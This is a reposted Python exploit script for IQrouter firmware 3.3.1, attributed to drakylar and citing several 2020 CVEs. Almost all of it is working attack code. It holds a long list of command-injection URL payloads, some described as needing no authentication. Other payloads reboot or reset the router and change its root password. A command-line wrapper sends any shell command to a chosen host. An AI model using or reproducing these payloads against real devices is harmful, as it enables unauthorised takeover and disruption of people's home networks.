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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: IQrouter 3.3.1 Firmware - Remote Code Execution
# Date: 2020-04-21
# Exploit Author: drakylar
# Vendor Homepage: https://evenroute.com/
# Software Link: https://evenroute.com/iqrouter
# Version: IQrouter firmware up to 3.3.1
# Tested on: IQrouter firmware 3.3.1
# CVE : N/A 

#!/usr/bin/env python3
import argparse
from sys import argv, exit

try:
    import requests
except ImportError:
    print("Install requests lib! pip3 install requests")


print("""
#######################################################################
#           IQrouter multiple RCE and other vulnerabilities           #
#                   by drakylar (Shaposhnikov Ilya)                   #
#            CVE-2020-11963 CVE-2020-11964 CVE-2020-11966             #
#                    CVE-2020-11967 CVE-2020-11968                    #
#######################################################################
""")


rce_setup = [
    [
        "/cgi-bin/luci/er/vlanTag?vlan_tag='`{}`'",
        "RCE /vlanTag (vlan_tag param)"
    ],
    [
        "/cgi-bin/luci/er/verify_wifi?wifi_conflict='`{}`'",
        "RCE /verify_wifi (wifi_conflict param). Need hide_wifi_config != true"
    ],
    [
        "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2='`{}`'&p1&p2",
        "RCE /screen9 (s2 param)"
    ],
    [
        "/cgi-bin/luci/er/screen9?save_creds=1&s1='`{}`'&s2&p1&p2",
        "RCE /screen9 (s1 param)"
    ],
    [
        "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2&p1&p2='`{}`'",
        "RCE /screen9 (p2 param)"
    ],
    [
        "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2&p1='`{}`'&p2",
        "RCE /screen9 (p1 param)"
    ],
    [
        "/cgi-bin/luci/er/screen4?save_isp='`{}`",
        "RCE /screen4 (save_isp param)"
    ],
    [
        "/cgi-bin/luci/er/screen2?set_wan_modem_interfaces='`{}`'",
        "RCE /screen2 set_wan_modem_interfaces param)"
    ],
    [
        "/cgi-bin/luci/er/screen2?find_ip_address_conflict='`{}`'",
        "RCE /screen2 find_ip_address_conflict param)"
    ],
    [
        "/cgi-bin/luci/er/screen10?set_security_question='`{}`'",
        "RCE /screen10 (set_security_question param)"
    ],
    [
        "/cgi-bin/luci/er/screen10?set_security_answer='`{}`'&set_security_question=1",
        "RCE /screen10 (set_security_answer param)"],
    [
        "/cgi-bin/luci/er/screen1?zonename='`{}`'",
        "RCE /screen1 (zonename param)"
    ],
    [
        "/cgi-bin/luci/er/register?email=`{}`",
        "RCE /register (email param, result in /cgi-bin/luci/er/get_syslog for result)"
    ]
]

rce_any = [
    [
        "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2='`{}`'&p1=1&p2=1",
        "RCE /wifi (s2 param)"
    ],
    [
        "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1='`{}`'&s2=5&p1=6&p2=7",
        "RCE /wifi (s1 param)"
    ],
    [
        "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2=2&p1=3&p2='`{}`'",
        "RCE /wifi (p2 param)"
    ],
    [
        "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2=2&p1='`{}`'&p2=4",
        "RCE /wifi (p1 param)"
    ],
    [
        "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=`{}`&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7",
        "RCE /wifi (guestwifi_5g_ssid param)"
    ],
    [
        "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=`{}`&guestwifi_5g_ssid=3&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7",
        "RCE /wifi (guestwifi_2g_ssid param)"
    ],
    [
        "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key='`{}`'&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=2&guestwifi_5g_ssid=3&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7",
        "RCE /wifi (guest_key param)"
    ],
    [
        "/cgi-bin/luci/er/wifi?enable_guestwifi='`{}`'&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=5&s2=6&p1=6&p2=7",
        "RCE /wifi (enable_guestwifi param)"
    ],
    [
        "/cgi-bin/luci/er/screen11.1?email=`{}`&register=123&uilog=123&bg=123",
        "RCE /screen11.1 (email param)"
    ],
    [
        "/cgi-bin/luci/er/reboot_link?link='`{}`'",
        "RCE /reboot_link (link param)"
    ],
    [
        "/cgi-bin/luci/er/diag_wifi/1/2/3/4/5/'`{}`'/",
        "RCE /diag_wifi (htm5ghz param)"
    ],
    [
        "/cgi-bin/luci/er/diag_wifi/1/2/3/4/'`{}`'/6/",
        "RCE /diag_wifi (htm2ghz param)"
    ],
    [
        "/cgi-bin/luci/er/diag_wifi/1/2/3/'`{}`'/5/6/",
        "RCE /diag_wifi (c5ghz param)"
    ],
    [
        "/cgi-bin/luci/er/diag_wifi/1/2/'`{}`'/4/5/6/",
        "RCE /diag_wifi (c2ghz param)"
    ],
    [
        "/cgi-bin/luci/er/diag_set_static_wan/'`{}`'/2/3/4/",
        "RCE /diag_set_static_wan (static_ip param)"
    ],
    [
        "/cgi-bin/luci/er/diag_set_static_wan/1/'`{}`'/3/4/",
        "RCE /diag_set_static_wan (net_mask param)"
    ],
    [
        "/cgi-bin/luci/er/diag_set_static_wan/1/2/'`{}`'/4/",
        "RCE /diag_set_static_wan (gateway param)"
    ],
    [
        "/cgi-bin/luci/er/diag_set_static_wan/1/2/3/'`{}`'/",
        "RCE /diag_set_static_wan (dns param)"
    ],
    [
        "/cgi-bin/luci/er/diag_set_static_modem/'`{}`'/2/3/",
        "RCE /diag_set_static_modem (static_ip param)"
    ],
    [
        "/cgi-bin/luci/er/diag_set_static_modem/1/'`{}`'/3/",
        "RCE /diag_set_static_modem (net_mask param)"
    ],
    [
        "/cgi-bin/luci/er/diag_set_static_modem/1/2/'`{}`'/",
        "RCE /diag_set_static_modem (gateway param)"
    ],
    [
        "/cgi-bin/luci/er/diag_set_device_name_and_sync/'`{}`'/",
        "RCE /diag_set_device_name_and_sync (device_name param)"
    ],
    [
        "/cgi-bin/luci/er/diag_set_device_name/'`{}`'/",
        "RCE /diag_set_device_name (device_name param)"
    ],
    [
        "/cgi-bin/luci/er/diag_pppoe_update/'`{}`'/passs/",
        "RCE /diag_pppoe_update (wan_username param)"
    ],
    [
        "/cgi-bin/luci/er/diag_pppoe_update/aaadmin/'`{}`'/",
        "RCE /diag_pppoe_update (wan_password param)"
    ],
    [
        "/cgi-bin/luci/er/diag_pppoe/'`{}`'/passsswd/",
        "RCE /diag_pppoe (wan_username param)"
    ],
    [
        "/cgi-bin/luci/er/diag_pppoe/aaadmin/'`{}`'/",
        "RCE /diag_pppoe (wan_password param)"
    ],
    [
        "/cgi-bin/luci/er/diag_pppoa_update/'`{}`'/paaaasword/",
        "RCE /diag_pppoa_update (wan_username param)"
    ],
    [
        "/cgi-bin/luci/er/diag_pppoa_update/aaadmin/'`{}`'/",
        "RCE /diag_pppoa_update (wan_password param)"
    ],
    [
        "/cgi-bin/luci/er/diag_pppoa/'`{}`'/passs/",
        "RCE /diag_pppoa (wan_username param)"
    ],
    [
        "/cgi-bin/luci/er/diag_pppoa/aaadmin/'`{}`'/",
        "RCE /diag_pppoa (wan_password param)"
    ],
    [
        "/cgi-bin/luci/er/advanced_link?link='`{}`'",
        "RCE /advanced_link (link param)"
    ]

]

advanced_payloads = [
    [
        "/cgi-bin/luci/er/reboot_link?reboot=1",
        "Reboot IQrouter (/reboot_link reboot param))"
    ],
    [
        "/cgi-bin/luci/er/screen2?reboot=1",
        "Reboot IQrouter (/screen2 reboot param))"
    ],
    [
        "/cgi-bin/luci/er/index?reset_config=1",
        "Reset IQrouter (/index reset_config param)"
    ],
    [
        "/cgi-bin/luci/er/screen7?upgrade=1",
        "Upgrade IQrouter (/screen7 upgrade param)"
    ],
    [
        "/cgi-bin/luci/er/vlanTag?restart_network=1",
        "Restart network (/vlanTag restart_network param)"
    ],
    [
        "/cgi-bin/luci/er/diag_iperf_cmd/start",
        "Start iperf script (/diag_iperf_cmd/start)"
    ],
    [
        "/cgi-bin/luci/er/diag_iperf_cmd/stop",
        "Stop iperf script (/diag_iperf_cmd/stop)"
    ],
    [
        "/cgi-bin/luci/er/get_syslog",
        "Router setup info log (/get_syslog)"
    ],
    [
        "/cgi-bin/luci/er/diag_set_password/c00lpasswd/",
        "Change root password to c00lpasswd (can change in code)"
    ],
    [
        "/cgi-bin/luci/er/reset_password/",
        "Change root password to 'changeme' (static)"
    ]
]


def print_payloads():
    print('#' * 30)
    print("Payloads list")
    num = 1
    print('#########################  RCE without auth  ########################')
    for payload in rce_any:
        print("{} - {}".format(num, payload[1]))
        num += 1

    print(
        '###############  RCE (router need to be in setup mode)  ###############')
    for payload in rce_setup:
        print("{} - {}".format(num, payload[1]))
        num += 1

    print(
        '#########################  Advanced payloads  #########################')
    for payload in advanced_payloads:
        print("{} - {}".format(num, payload[1]))
        num += 1


parser = argparse.ArgumentParser(description="IQrouter multiple RCE")
parser.add_argument('--host', help='Host', type=str)
parser.add_argument('-p', '--port', help='Web port (default: 80)', default=80, type=int)
parser.add_argument('-n', '--num', help='Payload number',
                    default=0, type=int)
parser.add_argument('-c', '--cmd', help='Command to execute (default: pwd)',
                    default="pwd", type=str)
parser.add_argument('--protocol', help='Protocol (http/https)',
                    default="http", type=str)

args = parser.parse_args()


def main():
    print("")
    full_payload_list = rce_setup + rce_any + advanced_payloads
    payloads_amount = len(full_payload_list)
    try:
        hostname = args.host
        port = args.port
        payload_num = int(args.num)
        bash_cmd = args.cmd
        protocol = args.protocol

        if payload_num < 1 or payload_num > payloads_amount:
            print("Error with payload number!")
            raise IndexError
        if port < 0 or port > 65535:
            print("Error with port number")
            raise IndexError
        if protocol not in ['http', 'https']:
            print("Error with protocol name")
            raise IndexError

        current_payload = full_payload_list[payload_num - 1]
        print("Payload: {}".format(current_payload[1]))
        print("Host: {}".format(hostname))
        print("Port: {}".format(port))
        print("Protocol: {}".format(protocol))
        print("Command: {}".format(bash_cmd))

        full_url = "{}://{}:{}{}".format(protocol, hostname, port,
                                         current_payload[0].format(bash_cmd))
        print("Built URL: {}".format(full_url))

        r = requests.get(full_url)
        print("Status code: {}".format(r.status_code))
        return
    except IndexError:
        parser.print_help()
        print_payloads()
        exit(1)


if __name__ == '__main__':
    print(
        "\n\nWarning: use TABS(doesn't work in some payloads) or ${IFS} for space.")
    exit(main())